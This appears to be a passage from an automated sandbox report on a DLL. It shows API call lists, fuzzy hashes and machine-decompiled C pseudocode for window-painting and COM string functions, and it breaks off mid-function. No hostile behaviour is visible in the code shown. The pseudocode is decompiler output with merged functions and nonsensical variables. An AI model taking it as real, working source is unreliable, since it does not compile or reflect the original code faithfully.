0x6ed28a7d
0x6ed28a6b
0x00000000
0x6ed28a55
0x00000000
0x6ed28a22
0x6ed28a1c
0x6ed289ff
0x6ed289ed
0x6ed289e2
0x00000000

APIs

SysAllocString.OLEAUT32(00000000), ref: 6ED28AD7
VariantInit.OLEAUT32(?), ref: 6ED28B06
VariantCopy.OLEAUT32(?,?), ref: 6ED28B14
SysFreeString.OLEAUT32(00000000), ref: 6ED28B5B
SysFreeString.OLEAUT32(-00000001), ref: 6ED28BEE
VariantClear.OLEAUT32(?), ref: 6ED28C27
SysFreeString.OLEAUT32(-00000001), ref: 6ED28C3F
SysFreeString.OLEAUT32(00000000), ref: 6ED28C7A
SysFreeString.OLEAUT32(00000000), ref: 6ED28C93
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6ED28D14
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6ED28D1E
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6ED28D3B
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6ED28D50
SysFreeString.OLEAUT32(00000000), ref: 6ED28D5F
SysFreeString.OLEAUT32(00000000), ref: 6ED28DE8
SysFreeString.OLEAUT32(00000000), ref: 6ED28E2C
_com_issue_error.COMSUPP ref: 6ED28E6E
_com_issue_error.COMSUPP ref: 6ED28E74
_com_issue_error.COMSUPP ref: 6ED28E7E
SysFreeString.OLEAUT32(7504D5B0), ref: 6ED28E84

Strings

", xrefs: 6ED28E37
offsetY, xrefs: 6ED28B22
lines, xrefs: 6ED28D0B, 6ED28D32

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$Variant_com_issue_error$AllocByteCharMultiWide$BstrClearCopyInit
String ID: "$lines$offsetY
API String ID: 1469084953-1489481244
Opcode ID: 6aaba13b27de171875cbdc47de20e2912d692779d1a509096ce1e563ae1f5d91
Instruction ID: b66514a2875356e3601396b529e6beec12b6f6364a9f1da253647fe200dcbf22
Opcode Fuzzy Hash: 6aaba13b27de171875cbdc47de20e2912d692779d1a509096ce1e563ae1f5d91
Instruction Fuzzy Hash: D2F1B374A0164ADFEF00CFE4C954BAEBBB8AF45708F24456CE615AB280DB76D905CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6ED31240, Relevance: 31.7, APIs: 21, Instructions: 187
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6ED31240(void* __ebx, void* __ecx) {
				signed int _v12;
				struct tagPOINT _v68;
				struct tagPOINT _v84;
				intOrPtr _v88;
				int _v92;
				struct tagPAINTSTRUCT _v104;
				struct tagRECT _v120;
				intOrPtr _v124;
				signed int _v132;
				void* _v140;
				intOrPtr _v144;
				void* _v152;
				void* _v164;
				int _v168;
				struct HWND__* _v172;
				struct HWND__* _v188;
				struct tagPAINTSTRUCT _v224;
				void* _v228;
				void* _v232;
				void* _v236;
				void* __edi;
				void* __esi;
				intOrPtr _t64;
				signed int _t71;
				struct HWND__* _t77;
				void* _t80;
				signed int _t91;
				intOrPtr _t114;
				signed int _t128;
				void* _t130;
				intOrPtr _t132;
				void* _t133;
				intOrPtr _t137;
				int _t138;
				struct HDC__* _t140;
				void* _t141;
				signed int _t145;
				signed int _t148;
				signed int _t149;

				_t112 = __ebx;
				_t135 = __ecx;
				_t64 =  *((intOrPtr*)(__ecx + 0xc));
				_t128 =  *((intOrPtr*)(__ecx + 0x10)) - _t64 & 0xfffffffc;
				if(_t128 < 0x1000) {
					L3:
					_push(_t128);
					E6ED3416E(_t64);
					 *(_t135 + 0xc) = 0;
					 *(_t135 + 0x10) = 0;
					 *(_t135 + 0x14) = 0;
					E6ED32800(_t112,  *((intOrPtr*)(_t135 + 4)));
					_push(0x28);
					return E6ED3416E( *((intOrPtr*)(_t135 + 4)));
				} else {
					_t114 =  *((intOrPtr*)(_t64 - 4));
					_t128 = _t128 + 0x23;
					if(_t64 - _t114 + 0xfffffffc > 0x1f) {
						E6ED3D5F4(__ebx, _t114, _t128, __eflags);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t148 = (_t145 & 0xfffffff0) - 0x88;
						_t71 =  *0x6ed6d008; // 0x3f169fae
						_v12 = _t71 ^ _t148;
						_push(__ecx);
						_push(_t130);
						_t137 = _t114;
						_v144 = _t137;
						E6ED38400(_t130,  &_v104, 0, 0x40);
						_t149 = _t148 + 0xc;
						asm("xorps xmm0, xmm0");
						asm("movaps [esp+0x20], xmm0");
						BeginPaint( *(_t137 + 0x18),  &_v104);
						_t77 = GetParent( *(_t137 + 0x18));
						_v140 = _t77;
						GetClientRect(_t77,  &_v120);
						_t138 = CreateCompatibleDC(_v104);
						_v140 = _t138;
						_t80 = CreateCompatibleBitmap(_v120.bottom, _v120.top - _v124, _v120.right - _v120.left);
						_v140 = _t80;
						_v152 = SelectObject(_t138, _t80);
						_v164 = SelectObject(_t138,  *(_v168 + 0x54));
						SendMessageW(_v172, 0x14, _t138, 0);
						SendMessageW(_v172, 0xf, _v168, 0);
						_t140 = _v168;
						SetBkMode(_t140, 1);
						SetTextColor(_t140, 0xffffff);
						GetClientRect( *(_v224.rgbReserved + 0x18),  &(_v104.fIncUpdate));
						_t132 = _v224.rgbReserved;
						_t91 = ClientToScreen( *(_t132 + 0x18),  &(_v104.fIncUpdate));
						__eflags = _t91;
						if(_t91 != 0) {
							ClientToScreen( *(_t132 + 0x18),  &_v68);
						}
						_v84.x = 0;
						_v104.fRestore = 0;
						ClientToScreen(_v188,  &_v84);
						_v84.x = _v104.fIncUpdate.x - _v84.x;
						_v104.fRestore = _v104.rgbReserved - _v104.fRestore;
						E6ED30DF0(_t132, _t140, _v104.fIncUpdate.x - _v84.x, _v104.rgbReserved - _v104.fRestore);
						BitBlt(_v164, 0, 0, _v104.fRestore - _v88, _v104.fIncUpdate.x - _v84.x, _t140, _v104.rcPaint, _v92, 0xcc0020);
						SelectObject(_t140, _v228);
						SelectObject(_t140, _v232);
						DeleteObject(_v236);
						DeleteDC(_t140);
						EndPaint( *(_t132 + 0x18),  &_v224);
						_pop(_t133);
						_pop(_t141);
						__eflags = _v132 ^ _t149;
						return E6ED34160(0, _t112, _v132 ^ _t149, _t128, _t133, _t141);
					} else {
						_t64 = _t114;
						goto L3;
					}
				}
			}

0x6ed31240
0x6ed31241
0x6ed31246
0x6ed3124b
0x6ed31254
0x6ed31268
0x6ed31268
0x6ed3126a
0x6ed3126f
0x6ed31276
0x6ed3127d
0x6ed31287
0x6ed3128c
0x6ed3129a
0x6ed31256
0x6ed31256
0x6ed31259
0x6ed31264
0x6ed3129b
0x6ed312a0
0x6ed312a1
0x6ed312a2
0x6ed312a3
0x6ed312a4
0x6ed312a5
0x6ed312a6
0x6ed312a7
0x6ed312a8
0x6ed312a9
0x6ed312aa
0x6ed312ab
0x6ed312ac
0x6ed312ad
0x6ed312ae
0x6ed312af
0x6ed312b6
0x6ed312bc
0x6ed312c3
0x6ed312ca
0x6ed312cb
0x6ed312d2
0x6ed312d7
0x6ed312db
0x6ed312e0
0x6ed312e7
0x6ed312ea
0x6ed312f3
0x6ed312fc
0x6ed3130e
0x6ed31312
0x6ed31322
0x6ed31336
0x6ed3133a
0x6ed31342
0x6ed31350
0x6ed3136d
0x6ed31371
0x6ed3137f
0x6ed31381
0x6ed31388
0x6ed31394
0x6ed313a6
0x6ed313a8
0x6ed313b4
0x6ed313ba
0x6ed313bc
0x6ed313c9
0x6ed313c9
0x6ed313d3
0x6ed313e0
0x6ed313eb
0x6ed31406
0x6ed3140d
0x6ed31414
0x6ed3144d
0x6ed31458
0x6ed31463
0x6ed3146d
0x6ed31474
0x6ed31482
0x6ed31491
0x6ed31492
0x6ed31493
0x6ed3149d
0x6ed31266
0x6ed31266
0x00000000
0x6ed31266
0x6ed31264

APIs

BeginPaint.USER32(?,?), ref: 6ED312F3
GetParent.USER32(?), ref: 6ED312FC
GetClientRect.USER32 ref: 6ED31312
CreateCompatibleDC.GDI32(?), ref: 6ED31318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6ED3133A
SelectObject.GDI32(00000000,00000000), ref: 6ED31346
SelectObject.GDI32(00000000,?), ref: 6ED31358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6ED31371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6ED3137F
SetBkMode.GDI32(?,00000001), ref: 6ED31388
SetTextColor.GDI32(?,00FFFFFF), ref: 6ED31394
GetClientRect.USER32 ref: 6ED313A6
ClientToScreen.USER32(?,?), ref: 6ED313B4
ClientToScreen.USER32(?,?), ref: 6ED313C9
ClientToScreen.USER32(?,?), ref: 6ED313EB

Part of subcall function 6ED30DF0: GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6ED31419,?,00000000,?), ref: 6ED30E7E

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6ED3144D
SelectObject.GDI32(?,?), ref: 6ED31458
SelectObject.GDI32(?,?), ref: 6ED31463
DeleteObject.GDI32(?), ref: 6ED3146D
DeleteDC.GDI32(?), ref: 6ED31474
EndPaint.USER32(?,?), ref: 6ED31482

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSendText$BeginBitmapColorMetricsModeParent
String ID:
API String ID: 1460541294-0
Opcode ID: 589671fb16a89443d486c52324589dd924f4db5b2a09c7523eeb9bede9be0906
Instruction ID: c94009a4b169feab314cfe22a1d9484ff37e59419060392349057ae74dd65637
Opcode Fuzzy Hash: 589671fb16a89443d486c52324589dd924f4db5b2a09c7523eeb9bede9be0906
Instruction Fuzzy Hash: 69617C71104B11AFEB209F64CD09F6FBBE9FF89710F104A1DF695921A0CB35A9458FA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED312B0, Relevance: 31.6, APIs: 21, Instructions: 141
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6ED312B0(void* __ebx, intOrPtr __ecx) {
				signed int _v8;
				struct tagPOINT _v64;
				struct tagPOINT _v80;
				intOrPtr _v84;
				int _v88;
				struct tagPAINTSTRUCT _v100;
				struct tagRECT _v116;
				intOrPtr _v120;
				signed int _v128;
				void* _v136;
				intOrPtr _v140;
				void* _v148;
				void* _v160;
				int _v164;
				struct HWND__* _v168;
				struct HWND__* _v184;
				struct tagPAINTSTRUCT _v220;
				void* _v224;
				void* _v228;
				void* _v232;
				void* __edi;
				void* __esi;
				signed int _t56;
				struct HWND__* _t62;
				void* _t65;
				void* _t97;
				void* _t110;
				void* _t111;
				intOrPtr _t113;
				void* _t114;
				intOrPtr _t116;
				int _t117;
				struct HDC__* _t119;
				void* _t120;
				signed int _t121;
				signed int _t123;
				signed int _t124;

				_t97 = __ebx;
				_t123 = (_t121 & 0xfffffff0) - 0x88;
				_t56 =  *0x6ed6d008; // 0x3f169fae
				_v8 = _t56 ^ _t123;
				_push(_t111);
				_t116 = __ecx;
				_v140 = __ecx;
				E6ED38400(_t111,  &_v100, 0, 0x40);
				_t124 = _t123 + 0xc;
				asm("xorps xmm0, xmm0");
				asm("movaps [esp+0x20], xmm0");
				BeginPaint( *(_t116 + 0x18),  &_v100);
				_t62 = GetParent( *(_t116 + 0x18));
				_v136 = _t62;
				GetClientRect(_t62,  &_v116);
				_t117 = CreateCompatibleDC(_v100);
				_v136 = _t117;
				_t65 = CreateCompatibleBitmap(_v116.bottom, _v116.top - _v120, _v116.right - _v116.left);
				_v136 = _t65;
				_v148 = SelectObject(_t117, _t65);
				_v160 = SelectObject(_t117,  *(_v164 + 0x54));
				SendMessageW(_v168, 0x14, _t117, 0);
				SendMessageW(_v168, 0xf, _v164, 0);
				_t119 = _v164;
				SetBkMode(_t119, 1);
				SetTextColor(_t119, 0xffffff);
				GetClientRect( *(_v220.rgbReserved + 0x18),  &(_v100.fIncUpdate));
				_t113 = _v220.rgbReserved;
				if(ClientToScreen( *(_t113 + 0x18),  &(_v100.fIncUpdate)) != 0) {
					ClientToScreen( *(_t113 + 0x18),  &_v64);
				}
				_v80.x = 0;
				_v100.fRestore = 0;
				ClientToScreen(_v184,  &_v80);
				_v80.x = _v100.fIncUpdate.x - _v80.x;
				_v100.fRestore = _v100.rgbReserved - _v100.fRestore;
				E6ED30DF0(_t113, _t119, _v100.fIncUpdate.x - _v80.x, _v100.rgbReserved - _v100.fRestore);
				BitBlt(_v160, 0, 0, _v100.fRestore - _v84, _v100.fIncUpdate.x - _v80.x, _t119, _v100.rcPaint, _v88, 0xcc0020);
				SelectObject(_t119, _v224);
				SelectObject(_t119, _v228);
				DeleteObject(_v232);
				DeleteDC(_t119);
				EndPaint( *(_t113 + 0x18),  &_v220);
				_pop(_t114);
				_pop(_t120);
				return E6ED34160(0, _t97, _v128 ^ _t124, _t110, _t114, _t120);
			}

0x6ed312b0
0x6ed312b6
0x6ed312bc
0x6ed312c3
0x6ed312cb
0x6ed312d2
0x6ed312d7
0x6ed312db
0x6ed312e0
0x6ed312e7
0x6ed312ea
0x6ed312f3
0x6ed312fc
0x6ed3130e
0x6ed31312
0x6ed31322
0x6ed31336
0x6ed3133a
0x6ed31342
0x6ed31350
0x6ed3136d
0x6ed31371
0x6ed3137f
0x6ed31381
0x6ed31388
0x6ed31394
0x6ed313a6
0x6ed313a8
0x6ed313bc
0x6ed313c9
0x6ed313c9
0x6ed313d3
0x6ed313e0
0x6ed313eb
0x6ed31406
0x6ed3140d
0x6ed31414
0x6ed3144d
0x6ed31458
0x6ed31463
0x6ed3146d
0x6ed31474
0x6ed31482
0x6ed31491
0x6ed31492
0x6ed3149d

APIs

BeginPaint.USER32(?,?), ref: 6ED312F3
GetParent.USER32(?), ref: 6ED312FC
GetClientRect.USER32 ref: 6ED31312
CreateCompatibleDC.GDI32(?), ref: 6ED31318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6ED3133A
SelectObject.GDI32(00000000,00000000), ref: 6ED31346
SelectObject.GDI32(00000000,?), ref: 6ED31358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6ED31371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6ED3137F
SetBkMode.GDI32(?,00000001), ref: 6ED31388
SetTextColor.GDI32(?,00FFFFFF), ref: 6ED31394
GetClientRect.USER32 ref: 6ED313A6
ClientToScreen.USER32(?,?), ref: 6ED313B4
ClientToScreen.USER32(?,?), ref: 6ED313C9
ClientToScreen.USER32(?,?), ref: 6ED313EB
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6ED3144D
SelectObject.GDI32(?,?), ref: 6ED31458
SelectObject.GDI32(?,?), ref: 6ED31463
DeleteObject.GDI32(?), ref: 6ED3146D
DeleteDC.GDI32(?), ref: 6ED31474
EndPaint.USER32(?,?), ref: 6ED31482

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSend$BeginBitmapColorModeParentText
String ID:
API String ID: 2796758630-0
Opcode ID: 2f846b02792fa671e312ca89b9f89fa737d0d269734d17336ee929a05f111545
Instruction ID: 86e66f737d8e19cd5bdb85a4928b0f8c9071bd62e42a1a1b3cc87a8683c9e161
Opcode Fuzzy Hash: 2f846b02792fa671e312ca89b9f89fa737d0d269734d17336ee929a05f111545
Instruction Fuzzy Hash: 78513C71118751AFEB219F64C908F6FBBE8FF89700F10491DF69992160DB31A946CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED27ED0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 156
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E6ED27ED0(signed int __ebx, int* __ecx, signed int __edx, void* __edi, void* __esi, void* __fp0, int _a4) {
				int _v8;
				char _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _v48;
				char _v56;
				char _v60;
				int _v64;
				int _v68;
				int _v72;
				int _v88;
				int _v92;
				char _v100;
				signed int _v104;
				int _v112;
				signed int _v152;
				int _v200;
				char _v208;
				signed int _v212;
				int _v216;
				signed int _v276;
				int _v320;
				char _v328;
				signed int _v332;
				int _v336;
				signed int _v396;
				intOrPtr _v400;
				signed int _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				void* __ebp;
				signed int _t286;
				signed int _t287;
				signed int _t291;
				signed int _t296;
				signed int _t297;
				signed int _t301;
				signed int _t302;
				int _t310;
				signed int _t316;
				signed int _t317;
				void* _t320;
				void* _t327;
				signed int _t332;
				signed int _t334;
				void* _t339;
				signed int _t341;
				signed int _t343;
				signed int _t345;
				signed int _t356;
				signed int _t360;
				short* _t362;
				int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t369;
				signed int _t375;
				intOrPtr _t376;
				int _t379;
				signed int _t385;
				signed int _t389;
				short* _t391;
				int _t392;
				signed int _t394;
				signed int _t395;
				signed int _t396;
				signed int _t398;
				signed int _t406;
				signed int _t410;
				intOrPtr* _t416;
				int* _t417;
				signed int* _t418;
				signed int _t422;
				signed int* _t424;
				signed int _t425;
				void* _t426;
				short* _t427;
				signed int _t428;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				signed int* _t440;
				signed int _t441;
				signed int _t446;
				signed int* _t447;
				signed int _t448;
				void* _t449;
				int _t450;
				signed int _t452;
				signed int _t453;
				signed int* _t456;
				signed int _t457;
				void* _t458;
				signed int _t464;
				signed int _t465;
				signed int _t468;
				signed int _t474;
				signed int _t478;
				int _t479;
				signed int _t481;
				signed int _t482;
				int _t483;
				int _t484;
				void* _t485;
				signed int _t486;
				void* _t488;
				int _t490;
				void* _t491;
				int _t492;
				void* _t493;
				int _t494;
				void* _t495;
				void* _t496;
				signed int* _t497;
				signed int _t498;
				signed int _t499;
				signed int _t500;
				signed int _t501;
				signed int* _t502;
				signed int _t503;
				int* _t504;
				signed int _t505;
				int _t506;
				int* _t507;
				unsigned int _t511;
				signed int _t513;
				void* _t529;
				signed int _t542;
				signed int _t549;
				int _t568;
				signed int _t572;
				signed int _t579;
				void* _t580;
				signed int _t581;
				short* _t583;
				int _t584;
				int* _t585;
				signed int _t587;
				void* _t591;
				void* _t592;
				short* _t593;
				void* _t594;
				void* _t595;
				int _t597;
				int _t598;
				int* _t600;
				signed int _t602;
				void* _t605;
				signed int _t607;
				signed int _t608;
				void* _t610;
				void* _t612;
				void* _t613;
				void* _t615;
				void* _t616;
				signed int _t617;
				void* _t618;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t623;
				void* _t624;
				signed int _t633;
				signed int _t634;
				signed int _t635;
				signed int _t636;
				void* _t638;
				void* _t639;
				void* _t642;
				void* _t658;

				_t658 = __fp0;
				_t567 = __edx;
				_t497 = __ecx;
				_t481 = __ebx;
				_t620 = _t633;
				_push(0xffffffff);
				_push(0x6ed585eb);
				_push( *[fs:0x0]);
				_t634 = _t633 - 0x20;
				_t286 =  *0x6ed6d008; // 0x3f169fae
				_t287 = _t286 ^ _t620;
				_v24 = _t287;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t287);
				 *[fs:0x0] =  &_v16;
				_t583 = __ecx;
				_t597 = _a4;
				 *__ecx = 0;
				_t652 =  *_t597 - 8;
				if( *_t597 != 8) {
					__imp__#8( &_v40);
					_v8 = 1;
					__eflags =  &_v40 - _t597;
					if( &_v40 != _t597) {
						L10:
						_t291 =  &_v40;
						__imp__#12(_t291, _t597, 0, 8);
						__eflags = _t291;
						if(_t291 < 0) {
							goto L34;
						} else {
							goto L11;
						}
					} else {
						_t291 = 8;
						__eflags = 8 - _v40;
						if(8 == _v40) {
							L11:
							_t481 = _v32;
							__eflags = _t481;
							if(_t481 == 0) {
								L16:
								_t617 =  *_t583;
								__eflags = _t617;
								if(__eflags != 0) {
									asm("lock xadd [esi+0x8], eax");
									__eflags = (_t291 | 0xffffffff) - 1;
									if(__eflags == 0) {
										_t474 =  *_t617;
										__eflags = _t474;
										if(_t474 != 0) {
											__imp__#6(_t474);
											 *_t617 = 0;
										}
										_t475 =  *(_t617 + 4);
										__eflags =  *(_t617 + 4);
										if(__eflags != 0) {
											E6ED341CF(_t475);
											_t634 = _t634 + 4;
											 *(_t617 + 4) = 0;
										}
										_push(0xc);
										E6ED3416E(_t617);
										_t634 = _t634 + 8;
									}
									 *_t583 = 0;
								}
								_t468 = E6ED3419F(_t567, __eflags, 0xc);
								_t597 = _t468;
								_t634 = _t634 + 4;
								_v44 = _t597;
								_v8 = 2;
								__eflags = _t597;
								if(_t597 == 0) {
									_t597 = 0;
									__eflags = 0;
									goto L29;
								} else {
									asm("xorps xmm0, xmm0");
									asm("movq [esi], xmm0");
									 *(_t597 + 8) = 0;
									 *(_t597 + 4) = 0;
									 *(_t597 + 8) = 1;
									__imp__#2(_t481);
									 *_t597 = _t468;
									__eflags = _t468;
									if(_t468 != 0) {
										L29:
										_v8 = 1;
										 *_t583 = _t597;
										__eflags = _t597;
										if(_t597 == 0) {
											goto L36;
										} else {
											goto L30;
										}
									} else {
										__eflags = _t481;
										if(_t481 != 0) {
											goto L35;
										} else {
											goto L29;
										}
									}
								}
							} else {
								_t478 =  *_t583;
								__eflags = _t478;
								if(_t478 == 0) {
									_t291 = 0;
									__eflags = 0;
								} else {
									_t291 =  *_t478;
								}
								__eflags = _t291 - _t481;
								if(_t291 == _t481) {
									L30:
									__imp__#9( &_v40);
									goto L31;
								} else {
									goto L16;
								}
							}
						} else {
							goto L10;
						}
					}
				} else {
					_t481 =  *(_t597 + 8);
					_t479 = E6ED3419F(__edx, _t652, 0xc);
					_t597 = _t479;
					_t634 = _t634 + 4;
					_v44 = _t597;
					_v8 = 0;
					if(_t597 == 0) {
						_t597 = 0;
						__eflags = 0;
						goto L6;
					} else {
						asm("xorps xmm0, xmm0");
						asm("movq [esi], xmm0");
						 *(_t597 + 8) = 0;
						 *(_t597 + 4) = 0;
						 *(_t597 + 8) = 1;
						__imp__#2(_t481);
						 *_t597 = _t479;
						if(_t479 != 0 || _t481 == 0) {
							L6:
							_v8 = 0xffffffff;
							 *_t583 = _t597;
							if(_t597 == 0) {
								goto L33;
							} else {
								L31:
								 *[fs:0x0] = _v16;
								_pop(_t595);
								_pop(_t618);
								_pop(_t496);
								return E6ED34160(_t583, _t496, _v24 ^ _t620, _t567, _t595, _t618);
							}
						} else {
							E6ED37500(0x8007000e);
							L33:
							_t291 = E6ED37500(0x8007000e);
							L34:
							E6ED37500(_t291);
							L35:
							E6ED37500(0x8007000e);
							L36:
							E6ED37500(0x8007000e);
							asm("int3");
							_push(_t620);
							_t621 = _t634;
							_push(0xffffffff);
							_push(0x6ed58665);
							_push( *[fs:0x0]);
							_t635 = _t634 - 0x4c;
							_t296 =  *0x6ed6d008; // 0x3f169fae
							_t297 = _t296 ^ _t621;
							_v104 = _t297;
							_push(_t481);
							_push(_t597);
							_push(_t583);
							_push(_t297);
							 *[fs:0x0] =  &_v100;
							_t482 = _t567;
							_v152 = _t482;
							_v112 = 0;
							_v92 = 0;
							_t498 =  *_t497;
							__eflags = _t498;
							if(_t498 == 0) {
								L81:
								E6ED37500(0x80004003);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t621);
								_t622 = _t635;
								_push(0xffffffff);
								_push(0x6ed586b5);
								_push( *[fs:0x0]);
								_t636 = _t635 - 0x4c;
								_t301 =  *0x6ed6d008; // 0x3f169fae
								_t302 = _t301 ^ _t622;
								_v212 = _t302;
								_push(_t482);
								_push(_t597);
								_push(_t583);
								_push(_t302);
								 *[fs:0x0] =  &_v208;
								_v276 = _t567;
								_v216 = 0;
								_v200 = 0;
								_t499 =  *_t498;
								__eflags = _t499;
								if(__eflags == 0) {
									L120:
									E6ED37500(0x80004003);
									goto L121;
								} else {
									_t567 =  &_v32;
									_v16 = 0;
									_v32 = 0;
									 *((intOrPtr*)( *_t499 + 0x34))(_t499,  &_v32);
									_t385 = _v32;
									__eflags = _t385;
									if(_t385 == 0) {
										L113:
										_t492 = 1;
										goto L114;
									} else {
										_t482 = __imp__#6;
										while(1) {
											_v40 = 0;
											_v16 = 2;
											__eflags = _t385;
											if(__eflags == 0) {
												goto L120;
											}
											_t567 =  &_v40;
											_t389 =  *((intOrPtr*)( *_t385 + 0x1c))(_t385,  &_v40);
											__eflags = _t389;
											if(_t389 < 0) {
												L119:
												 *_t482(_v40);
												_t385 = _v32;
												_t492 = 0;
												L114:
												_v16 = 0xc;
												__eflags = _t385;
												if(_t385 != 0) {
													 *((intOrPtr*)( *_t385 + 8))(_t385);
												}
												 *[fs:0x0] = _v24;
												_pop(_t592);
												_pop(_t613);
												_pop(_t493);
												__eflags = _v28 ^ _t622;
												return E6ED34160(_t492, _t493, _v28 ^ _t622, _t567, _t592, _t613);
											} else {
												_t391 = MultiByteToWideChar(3, 0, "counter", 0xffffffff, 0, 0);
												_t597 = _t391;
												_t499 = _t597 - 1;
												__imp__#4(0, _t499);
												_t583 = _t391;
												__eflags = _t583;
												if(_t583 == 0) {
													L123:
													E6ED27B80(0x8007000e);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t597);
													_t598 = _t499;
													_t500 =  *(_t598 + 0x2c);
													__eflags = _t500 - 8;
													if(_t500 < 8) {
														L129:
														 *(_t598 + 0x28) = 0;
														 *(_t598 + 0x2c) = 7;
														 *((short*)(_t598 + 0x18)) = 0;
														_t501 =  *(_t598 + 0x14);
														__eflags = _t501 - 8;
														if(_t501 < 8) {
															L134:
															__eflags = 0;
															 *(_t598 + 0x10) = 0;
															 *(_t598 + 0x14) = 7;
															 *_t598 = 0;
															return 0;
														} else {
															_t310 =  *_t598;
															_t502 = 2 + _t501 * 2;
															__eflags = _t502 - 0x1000;
															if(_t502 < 0x1000) {
																L133:
																_push(_t502);
																E6ED3416E(_t310);
																goto L134;
															} else {
																_t568 =  *((intOrPtr*)(_t310 - 4));
																_t502 =  &(_t502[8]);
																__eflags = _t310 - _t568 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L135;
																} else {
																	_t310 = _t568;
																	goto L133;
																}
															}
														}
													} else {
														_t379 =  *((intOrPtr*)(_t598 + 0x18));
														_t529 = 2 + _t500 * 2;
														__eflags = _t529 - 0x1000;
														if(_t529 < 0x1000) {
															L128:
															_push(_t529);
															E6ED3416E(_t379);
															_t636 = _t636 + 8;
															goto L129;
														} else {
															_t568 =  *((intOrPtr*)(_t379 - 4));
															_t502 = _t529 + 0x23;
															__eflags = _t379 - _t568 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																L135:
																E6ED3D5F4(_t482, _t502, _t568, __eflags);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t622);
																_t623 = _t636;
																_push(0xffffffff);
																_push(0x6ed58705);
																_push( *[fs:0x0]);
																_t638 = _t636 - 0x24;
																_t316 =  *0x6ed6d008; // 0x3f169fae
																_t317 = _t316 ^ _t623;
																_v332 = _t317;
																_push(_t482);
																_push(_t598);
																_push(_t583);
																_push(_t317);
																 *[fs:0x0] =  &_v328;
																_t483 = _t568;
																_v336 = 0;
																_v320 = 0;
																_t503 =  *_t502;
																__eflags = _t503;
																if(_t503 == 0) {
																	L166:
																	E6ED37500(0x80004003);
																	goto L167;
																} else {
																	_t575 =  &_v36;
																	_v20 = 0;
																	_v36 = 0;
																	 *((intOrPtr*)( *_t503 + 0x34))(_t503,  &_v36);
																	_t356 = _v36;
																	__eflags = _t356;
																	if(_t356 == 0) {
																		L159:
																		_t490 = 1;
																		goto L160;
																	} else {
																		_t583 = __imp__#6;
																		while(1) {
																			_v44 = 0;
																			_v20 = 2;
																			__eflags = _t356;
																			if(_t356 == 0) {
																				goto L166;
																			}
																			_t575 =  &_v44;
																			_t360 =  *((intOrPtr*)( *_t356 + 0x1c))(_t356,  &_v44);
																			__eflags = _t360;
																			if(_t360 < 0) {
																				L165:
																				 *_t583(_v44);
																				_t356 = _v36;
																				_t490 = 0;
																				L160:
																				_v20 = 0xc;
																				__eflags = _t356;
